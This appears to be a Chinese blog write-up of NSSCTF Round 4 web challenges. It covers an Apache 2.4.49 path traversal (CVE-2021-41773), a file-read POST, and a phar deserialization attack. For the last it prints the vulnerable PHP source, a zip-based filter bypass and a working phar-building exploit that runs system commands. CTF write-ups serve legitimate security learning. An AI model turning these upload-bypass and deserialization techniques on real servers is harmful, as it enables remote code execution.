NSSCTF-Round4-wp

ez_rce

CVE-2021-41773 ,Apache的目录穿越漏洞,网上有现成的poc

知道是 apache 2.4.49

直接一把梭 >>>

这里直接 cat 不出 flag(看到官方wp后知道这里套娃了,四层)

我的是直接用grep命令直接拿

echo; grep -r "NSSCTF" /flag_is_here

flag: NSSCTF{0f6589cd-8ba3-4ecf-81ad-1fcf15544bfa}

以下是看wp后的:

1z_web

直接POST -> file=/flag(有点怪)

NSSCTF{e4fa1579-6aab-4cf5-8326-27c35b104888}

1zweb(revenge)

upload.php


<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}

后缀必须是图片,且内容不能出现phar标志

可以压缩zip绕过

上传后用phar伪协议读取

index.php

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    echo file_get_contents($file);
}

file_get_contents读phar文件时能能触发返序列化漏洞,绕过一下wakeup()函数 ,并让 ljt=Misc,dky=Re

exp:

<?php
    class LoveNss{
        public $ljt;
        public $dky;
        public $cmd;
      
    }
    $nss = new LoveNss();
    $nss->ljt = "Misc";
    $nss->dky = "Re";
    $nss->cmd = "system('cat /flag');";
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($nss); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>
posted @ 2022-08-03 23:50  Freshman0611  阅读(92)  评论(0)    收藏  举报